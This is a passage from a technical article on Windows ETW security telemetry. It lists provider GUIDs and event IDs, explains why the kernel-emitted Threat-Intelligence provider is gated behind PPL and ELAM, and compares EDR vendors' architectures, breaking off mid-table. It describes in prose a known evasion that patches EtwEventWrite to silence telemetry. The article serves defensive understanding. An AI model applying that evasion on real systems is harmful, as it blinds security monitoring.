&lt;p&gt;There are roughly 1,300 manifest-based providers shipped on a 2026 Windows 11 24H2 install -- the community-maintained jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the count across builds, and the repnz manifest archive [@gh-repnz] [@gh-repnz] holds byte-stable copies of the manifests for cross-version diffing. Eight of those providers carry almost all the security telemetry the EDR vendors read. This is the catalogue.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Security-Auditing&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{54849625-5478-4994-A5BA-3E3B0328C30D}&lt;/code&gt;. The audit-policy-driven Security event log producer. Event ID 4624 (logon), 4625 (failed logon), 4634 (logoff), 4688 (process create with command line) [@learn-microsoft-com-event-4688] [@ms-event-4624], 4689 (process exit), and the broader subcategory audit policy events. This is the closure for the legacy Security event log: when an administrator turns on &quot;audit logon events&quot; in the local security policy, this is the provider that emits the events. EDRs that consume it are reading the same stream the Event Viewer&apos;s Security log shows.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;. The canonical real-time process telemetry source for non-PPL EDR. Event ID 1 fires on &lt;code&gt;ProcessStart&lt;/code&gt; with PID, parent PID, image name, command line, and SID; event ID 2 on &lt;code&gt;ProcessStop&lt;/code&gt;; event ID 3 on thread create; event ID 4 on thread exit; event ID 5 on &lt;code&gt;ImageLoad&lt;/code&gt; with the loaded module name and base address. SilkETW&apos;s launch post enumerates the event record format inline [@fireeye-silketw-launch] [@fireeye-silketw-launch]. This provider is widely cited in EDR community documentation as available since Windows 7, though no Microsoft primary pins the exact build.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Network&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Registry&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The per-subsystem siblings of &lt;code&gt;Kernel-Process&lt;/code&gt;. &lt;code&gt;Kernel-File&lt;/code&gt; surfaces file open / close / read / write / delete operations with the file path and the operating PID. &lt;code&gt;Kernel-Network&lt;/code&gt; surfaces TCP and UDP send / receive with the local and remote endpoints. &lt;code&gt;Kernel-Registry&lt;/code&gt; surfaces registry create / open / set value / delete with the key path and value name. All three use the manifest-based class and inherit the eight-session cap. EDRs that want full-fidelity per-syscall telemetry without writing kernel callbacks subscribe to these three.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;, documented in the Microsoft Learn AMSI portal [@ms-amsi-portal] [@ms-amsi-portal] and surveyed in the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback]. This is the ETW provider that surfaces AMSI scan results: a script block submitted by PowerShell, JScript, VBA, an Office macro engine, or any other AMSI client comes through here &lt;em&gt;after deobfuscation&lt;/em&gt;. Whatever string the script engine is about to execute, the registered antimalware engine sees in plaintext, and the result of the scan is published via this provider for any listener.&lt;/p&gt;

A COM interface exposed by Windows since 2015 that script engines and runtime hosts can call into to submit content for malware scanning. The Microsoft Learn AMSI portal lists PowerShell, JScript and VBScript via Windows Script Host, Office VBA macros, and User Account Control as in-box integrators [@ms-amsi-portal]; the .NET CLR&apos;s assembly load path joined the list with .NET Framework 4.8, as documented in Adam Chester&apos;s CLR walk-through [@xpn-hiding-dotnet]. The scanned content is the post-deobfuscation form -- the actual code about to execute, not the obfuscated wrapper. Scan results surface via the `Microsoft-Antimalware-Scan-Interface` ETW provider.
&lt;p&gt;The AMSI Operational event log channel typically appears empty by default. The Palantir taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback] notes the keyword bitmask configured for the channel does not surface scan-result events. The events fire on the ETW bus and can be consumed in real time, but they do not land in the user-visible evtx log unless the consumer reconfigures the keyword mask.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{a0c1853b-5c40-4b15-8766-3cf1c58f985a}&lt;/code&gt;. Event ID 4104 is the script-block-logging event that records each PowerShell script block before execution; event ID 4103 records pipeline execution detail; event ID 4100 records errors. The Microsoft Learn &lt;code&gt;about_Logging_Windows&lt;/code&gt; reference (Windows PowerShell 5.1) [@ms-powershell-logging] [@ms-powershell-logging] documents EID 4104 verbatim (&quot;&lt;code&gt;EventId 4104 / 0x1008&lt;/code&gt; ... &lt;code&gt;Channel Operational&lt;/code&gt; ... &lt;code&gt;Task CommandStart&lt;/code&gt;&quot;) and the script-block-logging configuration. PowerShell Core 7+ uses a separate ETW provider (&lt;code&gt;PowerShellCore&lt;/code&gt;, GUID &lt;code&gt;{f90714a8-5509-434a-bf6d-b1624c8a19a2}&lt;/code&gt;). Combined with AMSI the two providers give an EDR the executed PowerShell content twice: once at AMSI submission, once at script-block logging. Detection engineers use both as cross-checks.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}&lt;/code&gt;, verbatim in Adam Chester&apos;s PoC source [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The .NET CLR provider. Surfaces assembly load events, JIT compilation, AppDomain creation, exception throws. Critical for detecting Cobalt Strike&apos;s &lt;code&gt;execute-assembly&lt;/code&gt; style of in-memory .NET payload loading. This is the provider that goes dark in the section 1 hook scene after the operator&apos;s &lt;code&gt;EtwEventWrite&lt;/code&gt; patch.This is the provider Adam Chester targeted in the canonical March 17, 2020 ETW patching post [@xpn-hiding-dotnet]. The Cobalt Strike &lt;code&gt;execute-assembly&lt;/code&gt; workflow produces a loud signal here -- &quot;assembly X loaded into PID Y from in-memory source Z&quot; -- so silencing it locally was a valuable evasion. The story comes back in section 11.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;, surfaced by &lt;code&gt;wevtutil gp Microsoft-Windows-Sysmon&lt;/code&gt; and inventoried in [@gh-jdu2600]; the Microsoft Learn Sysmon page by Russinovich and Garnier [@ms-sysmon] [@ms-sysmon] documents authorship, the protected-process status, and the &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt; channel. This is the &lt;em&gt;publishing&lt;/em&gt; side of Sysmon. Sysmon&apos;s kernel driver &lt;code&gt;SysmonDrv.sys&lt;/code&gt; collects events through &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; and friends; the user-mode service then republishes via this ETW provider so any consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) can subscribe without writing its own kernel driver. Events also land in the &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt; evtx channel.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; (EtwTi)&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;, verbatim in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]. The only ETW source in the catalogue that fires from inside the kernel for memory-modifying syscalls. Ten task IDs, all prefixed &lt;code&gt;KERNEL_THREATINT_TASK_&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ALLOCVM&lt;/code&gt; (&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PROTECTVM&lt;/code&gt; (&lt;code&gt;NtProtectVirtualMemory&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MAPVIEW&lt;/code&gt; (section mapping; cross-process and self)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;QUEUEUSERAPC&lt;/code&gt; (&lt;code&gt;NtQueueApcThread&lt;/code&gt; cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SETTHREADCONTEXT&lt;/code&gt; (&lt;code&gt;NtSetContextThread&lt;/code&gt; cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;READVM&lt;/code&gt; (&lt;code&gt;NtReadVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WRITEVM&lt;/code&gt; (&lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUSPENDRESUME_THREAD&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUSPENDRESUME_PROCESS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DRIVER_DEVICE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each task pairs with a 64-bit keyword bitmask that distinguishes &lt;code&gt;LOCAL&lt;/code&gt; vs &lt;code&gt;REMOTE&lt;/code&gt; (cross-process) and &lt;code&gt;KERNEL_CALLER&lt;/code&gt; vs not. The Elastic Security Labs walkthrough [@elastic-doubling-down] [@elastic-doubling-down] lists the named Win32/Nt syscalls that surface here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The most notable addition to this visibility is the Microsoft-Windows-Threat-Intelligence Event Tracing for Windows (ETW) provider ... VirtualAlloc, VirtualProtect, MapViewOfFile, VirtualAllocEx, VirtualProtectEx, MapViewOfFile2, QueueUserAPC, SetThreadContext, WriteProcessMemory, ReadProcessMemory(lsass)&quot; -- Elastic Security Labs [@elastic-doubling-down] [@elastic-doubling-down]&lt;/p&gt;
&lt;/blockquote&gt;

The kernel-emitted ETW provider for memory-modifying syscalls. GUID `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`. Events are emitted from the kernel side of the syscall path (not from a user-mode trampoline), which makes the provider unreachable from a user-mode patcher in the calling process. Consumption is gated behind Protected Process Light at the Antimalware signer level, paired with an Early Launch Antimalware driver. The provider first shipped in the Windows 10 RS-era; the precise build is not stated verbatim in any Microsoft primary located, with community references converging on no later than 1709.
&lt;p&gt;The first-ship-build is hedged: the provider GUID and task inventory are well-documented in third-party reverse-engineering primaries, but no Microsoft primary located in the source verification stage pins the exact build. The community reference range is Windows 10 1607 (RS1) through 1709 (RS3). The dispositive practical evidence is Yarden Shafir&apos;s 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir], which shows live-debugger output of &lt;code&gt;CSFalconService.exe&lt;/code&gt; (CrowdStrike) holding &lt;code&gt;EtwConsumer&lt;/code&gt; handles to multiple logger IDs simultaneously. By 2023 third-party EDRs were demonstrably consuming EtwTi at scale.&lt;/p&gt;
&lt;h3&gt;The catalogue as a single screen&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;Surface&lt;/th&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Primary source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Security-Auditing&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{54849625-5478-4994-A5BA-3E3B0328C30D}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Audit-policy events (4624/4625/4688/...)&lt;/td&gt;
&lt;td&gt;None (Local Security Policy)&lt;/td&gt;
&lt;td&gt;[@ms-event-4624]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Process&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Process / thread / image-load events&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@fireeye-silketw-launch], [@gh-jdu2600]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-File&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;File I/O syscalls&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Network&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;TCP/UDP send/receive&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Registry&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;Registry create/open/set/delete&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Antimalware-Scan-Interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post-deobfuscation script content&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@ms-amsi-portal], [@palantir-tampering-wayback]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{a0c1853b-5c40-4b15-8766-3cf1c58f985a}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Script-block logging (4104), pipeline&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-DotNETRuntime&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CLR assembly load, JIT, exceptions&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@xpn-hiding-dotnet]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Sysmon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sysmon driver re-publication&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@ms-sysmon]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Threat-Intelligence&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Memory-modifying syscalls (kernel-emitted)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PPL + ELAM (Antimalware signer level)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;[@fluxsec-eti], [@elastic-doubling-down]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

This is the *security* catalogue. The full Windows manifest-based provider list is roughly 1,300 entries on a current Windows 11 build; performance-tuning, diagnostic, and developer-facing providers fill out the rest. The jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the full list across Win10 versions; the repnz archive [@gh-repnz] [@gh-repnz] preserves byte-stable manifest copies for cross-version diffing.
&lt;p&gt;Nine of the ten rows in that table are accessible to any SYSTEM-privileged user-mode service. The tenth -- EtwTi -- requires a passport. The next section is about who issues the passport.&lt;/p&gt;
&lt;h2&gt;9. The PPL / ELAM gate: why EtwTi is not for everyone&lt;/h2&gt;
&lt;p&gt;To consume the one ETW provider that fires from the kernel for memory-modifying syscalls, your service must be (a) a Protected Process Light [@paragmali-com-app-ide], (b) signed at the Antimalware signer level with EKU &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt;, and (c) loaded from disk by an Early Launch Antimalware [@paragmali-com-to-userini] driver registered at boot. Two of those three were not possible for third parties until the Windows 10 RS-era.&lt;/p&gt;
&lt;p&gt;fluxsec.red [@fluxsec-eti] [@fluxsec-eti] gives the prerequisite list verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;In order to start receiving ETW:TI signals, we need: 1. A service running as Protected Process Light, 2. An Early Launch Antimalware driver and certificate, 3. A logging mechanism.&quot; -- [@fluxsec-eti]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each prerequisite has a story.&lt;/p&gt;
&lt;h3&gt;Protected Process Light at the Antimalware signer level&lt;/h3&gt;
&lt;p&gt;Windows 8.1 introduced the &lt;em&gt;protected service&lt;/em&gt; concept specifically for antimalware engines. The motivation was simple: a malicious process running as administrator should not be able to inject code into the antimalware service or attach a debugger to it. The Microsoft Learn primary [@ms-protect-am] [@ms-protect-am] sets out the model:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Windows 8.1 introduced a new concept of protected services to protect anti-malware services... In addition to the existing ELAM driver certification requirements, the driver must have an embedded resource section containing the information of the certificates used to sign the user mode service binaries.&quot; -- [@ms-protect-am]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PPL is a process-protection level. A given process has a level on the PPL lattice; another process can open it for write or debug only if the requesting process&apos;s level is greater than or equal to the target&apos;s. Antimalware-PPL is a &lt;em&gt;signer level&lt;/em&gt; on that lattice. The kernel admits a process to Antimalware-PPL when its image is signed with a certificate whose EKU includes &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt; (Windows Antimalware) &lt;em&gt;and&lt;/em&gt; whose certificate is enrolled in an ELAM driver&apos;s allow-list at boot.&lt;/p&gt;

A Windows process-protection model. Each process has a PPL level; another process may open it for write or debug only if the requestor is at an equal or higher level. Originally introduced for DRM, the lattice was extended in Windows 8.1 to host the Antimalware signer level for protecting antimalware services from administrative-rights attackers.

A specific signer level on the PPL lattice. Reserved in Windows 8.1 for Microsoft Defender; opened to third-party EDR vendors via ELAM onboarding in the Windows 10 RS-era. Consumption of the `Microsoft-Windows-Threat-Intelligence` ETW provider is gated at the Antimalware signer level: an `EnableTraceEx2` call from a non-Antimalware-PPL caller against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the `EnableTraceEx2` [@ms-enabletraceex2] [@ms-enabletraceex2] page documents the error code for callers that lack the documented administrative groups; the per-provider PPL-signer-level check that triggers it for the EtwTi GUID specifically is described in the [@fluxsec-eti] prerequisite list).
&lt;h3&gt;Early Launch Antimalware&lt;/h3&gt;
&lt;p&gt;ELAM is a driver class that loads before any other non-Microsoft boot driver. The Microsoft Learn primary [@ms-elam] [@ms-elam] describes it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Because an ELAM service runs as a PPL (Protected Process Light), you need to debug using a kernel debugger... AM drivers are initialized first and allowed to control the initialization of subsequent boot drivers, potentially not initializing unknown boot drivers.&quot; -- [@ms-elam]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The boot sequence runs like this. Winload loads the ELAM driver as part of the early-boot path. The ELAM driver registers a callback via &lt;code&gt;IoRegisterBootDriverCallback&lt;/code&gt; and gets to inspect each subsequent boot driver, returning a verdict (initialize / do not initialize / unknown) based on the certificate inventory it carries in its embedded resource section. The kernel honours that verdict. After boot drivers settle, the SCM launches the paired user-mode antimalware service with the &lt;code&gt;LaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; flag, and the kernel admits that service to Antimalware-PPL because its signing certificate matches an entry in the ELAM driver&apos;s allow-list.&lt;/p&gt;

A driver class that loads before any non-Microsoft boot driver. The ELAM driver registers a boot-driver callback to inspect subsequent drivers and an embedded-resource certificate inventory of permitted user-mode antimalware service signatures. Together with PPL, ELAM gates which user-mode antimalware services can pass the Antimalware-PPL admission check.
&lt;h3&gt;The 1709 onboarding&lt;/h3&gt;
&lt;p&gt;Microsoft Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; ran at the Antimalware signer level by default starting around the Windows 10 1709 timeframe (October 17, 2017), and the same release is widely cited in EDR-vendor documentation as the moment the Antimalware-PPL onboarding was extended to third-party EDR vendors. The Microsoft primary that pins the 1709 third-party onboarding date is not in the public ETW documentation; we treat the date as widely-cited rather than verified.&lt;/p&gt;
&lt;p&gt;The dispositive practical evidence is the Trail of Bits 2023 walkthrough by Yarden Shafir [@trailofbits-shafir] [@trailofbits-shafir]. Shafir&apos;s WinDbg JS scripts walk the live &lt;code&gt;_ETW_REALTIME_CONSUMER&lt;/code&gt; data structures of a running Windows host and print:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Process CSFalconService.exe with ID 0x1e54 has handle 0x760 to Logger ID 3&quot; -- [@trailofbits-shafir]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is CrowdStrike&apos;s user-mode service, holding a real-time consumer handle to an EtwTi logger session. By 2023 the third-party Antimalware-PPL story is operationally complete.&lt;/p&gt;

sequenceDiagram
    participant BL as Winload (boot)
    participant EL as ELAM Driver
    participant SCM as Service Control Manager
    participant SVC as EDR Service
    participant K as Kernel ETW
    BL-&amp;gt;&amp;gt;EL: Load ELAM driver (early boot)
    EL-&amp;gt;&amp;gt;EL: Register IoRegisterBootDriverCallback then read embedded cert inventory
    Note over EL: ELAM gates subsequent boot drivers
    SCM-&amp;gt;&amp;gt;SVC: Start EDR service with PROTECTED_ANTIMALWARE_LIGHT flag
    K-&amp;gt;&amp;gt;SVC: Verify signature against ELAM allow-list
    K--&amp;gt;&amp;gt;SVC: Admit to Antimalware-PPL
    SVC-&amp;gt;&amp;gt;K: EnableTraceEx2(session, EtwTi GUID, ...)
    K-&amp;gt;&amp;gt;K: Check caller signer level ge Antimalware
    K--&amp;gt;&amp;gt;SVC: SUCCESS
    Note over SVC,K: Non-PPL caller would receive ERROR_ACCESS_DENIED here
&lt;h3&gt;Why this gate matters for the section 1 hook&lt;/h3&gt;
&lt;p&gt;The asymmetry that defines the entire generation is one sentence in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]:&lt;/p&gt;

We cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself. To do so, you&apos;d require kernelmode execution and then to patch out those signals so no ETW signals are emitted. -- [@fluxsec-eti]
&lt;p&gt;That is the answer to the puzzle the section 1 hook posed. The Adam Chester 2020 patch operates on a user-mode trampoline in the calling process. &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; is a stub that calls down through &lt;code&gt;NtTraceEvent&lt;/code&gt; into the kernel; rewriting its first byte to &lt;code&gt;0xC3&lt;/code&gt; short-circuits the user-mode entry path and the calling process emits no events through that stub. But EtwTi does not fire from the user-mode entry path. EtwTi fires from inside the kernel implementation of &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; and friends, after the syscall has crossed the boundary, on a path the user-mode patcher cannot reach without first achieving kernel execution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; EtwTi is the only ETW provider in the catalogue whose producer fires from the kernel side of the syscall path -- and that is exactly why a user-mode patch in the calling process cannot silence it. The PPL+ELAM gate that controls &lt;em&gt;consumer&lt;/em&gt; admission is paired with a &lt;em&gt;producer&lt;/em&gt; location that no in-process attacker can reach.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 2017 PPL+ELAM gate was a deliberate structural defense against the patch class that was only fully publicised three years later. By the time Chester wrote his March 2020 post, the load-bearing security signal was already structurally out of reach of his technique.&lt;/p&gt;

The combination of PPL and ELAM is not an arbitrary defense-in-depth stack. PPL gates *consumer identity* at signer level: only a binary signed with the Antimalware EKU and enrolled in an ELAM allow-list can subscribe. ELAM gates *load order*: the gate is set during early boot, before any code an attacker could load gets a chance to interfere. The signer-level check is hard because forging the signature requires breaking Microsoft&apos;s PKI; the load-order check is hard because subverting it requires compromising the boot path, which Secure Boot and the Vulnerable Driver Blocklist exist to defend.
&lt;p&gt;That is the gate. Now we walk the consumers that pass through it.&lt;/p&gt;
&lt;h2&gt;10. Six vendors, three spectra: a map of the EDR consumer architecture&lt;/h2&gt;
&lt;p&gt;Defender, CrowdStrike, SentinelOne, Sysmon, Wazuh, Elastic Defend. They look interchangeable on a vendor comparison sheet. They are not, and the differences are entirely about which substrates each one consumes.&lt;/p&gt;
&lt;p&gt;There are three axes that distinguish them.&lt;/p&gt;
&lt;h3&gt;Axis 1: kernel callbacks vs ETW&lt;/h3&gt;
&lt;p&gt;Some EDRs consume process-creation events through ETW (subscribing to &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; from a SYSTEM-privileged user-mode service). Others register kernel callbacks directly through &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetprocnotify] [@ms-pssetprocnotify] and &lt;code&gt;PsSetCreateThreadNotifyRoutine&lt;/code&gt; [@ms-pssetthreadnotify] [@ms-pssetthreadnotify] from a kernel driver they ship.&lt;/p&gt;
&lt;p&gt;The trade-off is sharp. Kernel callbacks are synchronous: the kernel calls into the driver before the operation completes, the driver runs at PASSIVE_LEVEL in the originating thread context with normal kernel APCs disabled, and the driver can deny the operation by writing a non-success status to &lt;code&gt;CreationStatus&lt;/code&gt;. ETW is asynchronous: the event is emitted from the producer&apos;s hot path, drained from a per-CPU buffer by the writer thread, and delivered to the consumer&apos;s callback at some later point. ETW cannot deny anything; it can only observe.&lt;/p&gt;

The `PsSetCreate*NotifyRoutine` family of kernel APIs. A driver calls `PsSetCreateProcessNotifyRoutineEx` (process create/exit), `PsSetCreateThreadNotifyRoutine` (thread create/exit), or `PsSetLoadImageNotifyRoutine` (image load) at boot to register a callback. The kernel invokes the callback synchronously, in the originating thread context at PASSIVE_LEVEL with normal kernel APCs disabled. The `Ex` variant of the process callback receives a `CreationStatus` field the driver can write to deny the operation.
&lt;p&gt;CrowdStrike, SentinelOne, Sysmon, and Elastic Defend ship kernel drivers and use callbacks for the latency-critical hot path. Defender uses both -- callbacks from &lt;code&gt;WdFilter.sys&lt;/code&gt; and ETW consumption from &lt;code&gt;MsMpEng.exe&lt;/code&gt; -- because as the in-box engine it has the institutional position to do so. Wazuh ships no kernel driver; it consumes ETW exclusively via SilkETW-class wrappers, which makes it less invasive but unable to deny.&lt;/p&gt;
&lt;h3&gt;Axis 2: PPL adoption&lt;/h3&gt;
&lt;p&gt;Defender (&lt;code&gt;MsMpEng.exe&lt;/code&gt; and &lt;code&gt;MsMpEngCP.exe&lt;/code&gt;) runs at Antimalware-PPL by default. CrowdStrike&apos;s &lt;code&gt;CSFalconService.exe&lt;/code&gt; runs at Antimalware-PPL, demonstrably [@trailofbits-shafir] [@trailofbits-shafir]. SentinelOne&apos;s &lt;code&gt;SentinelAgent.exe&lt;/code&gt; is widely reported to run at Antimalware-PPL via vendor documentation, although it does not appear in the Trail of Bits sample debugger output. Sysmon runs as a &lt;em&gt;protected process&lt;/em&gt; but not at the Antimalware signer level [@ms-sysmon] [@ms-sysmon] -- the Microsoft Learn page states &quot;The service runs as a protected process, thus disallowing a wide range of user mode interactions&quot; without naming Antimalware specifically.&lt;/p&gt;
&lt;p&gt;Wazuh and Elastic Defend&apos;s user-mode services run as standard SYSTEM-privileged services without PPL.&lt;/p&gt;
&lt;h3&gt;Axis 3: EtwTi consumption&lt;/h3&gt;
&lt;p&gt;This axis is determined by axis 2. Defender consumes EtwTi by design -- it is the in-box reason EtwTi exists. CrowdStrike and SentinelOne consume EtwTi (the Trail of Bits debugger output is the practical demonstration). Sysmon does not consume EtwTi: it is not Antimalware-PPL, so its &lt;code&gt;EnableTraceEx2&lt;/code&gt; calls against the EtwTi GUID would receive &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. Sysmon relies on its own &lt;code&gt;SysmonDrv.sys&lt;/code&gt; callbacks for the in-memory threat surface that EtwTi covers for the others. Wazuh and Elastic Defend do not consume EtwTi for the same reason; Elastic Defend ships its own kernel driver to compensate [@elastic-doubling-down] [@elastic-doubling-down], using Microsoft-blessed kernel-callback paths for memory events.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vendor&lt;/th&gt;
&lt;th&gt;Process surface&lt;/th&gt;
&lt;th&gt;PPL level&lt;/th&gt;
&lt;th&gt;EtwTi?&lt;/th&gt;
&lt;th&gt;Primary source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft Defender&lt;/td&gt;
&lt;td&gt;Driver callbacks (&lt;code&gt;WdFilter.sys&lt;/code&gt;) + ETW (&lt;code&gt;MsMpEng.exe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
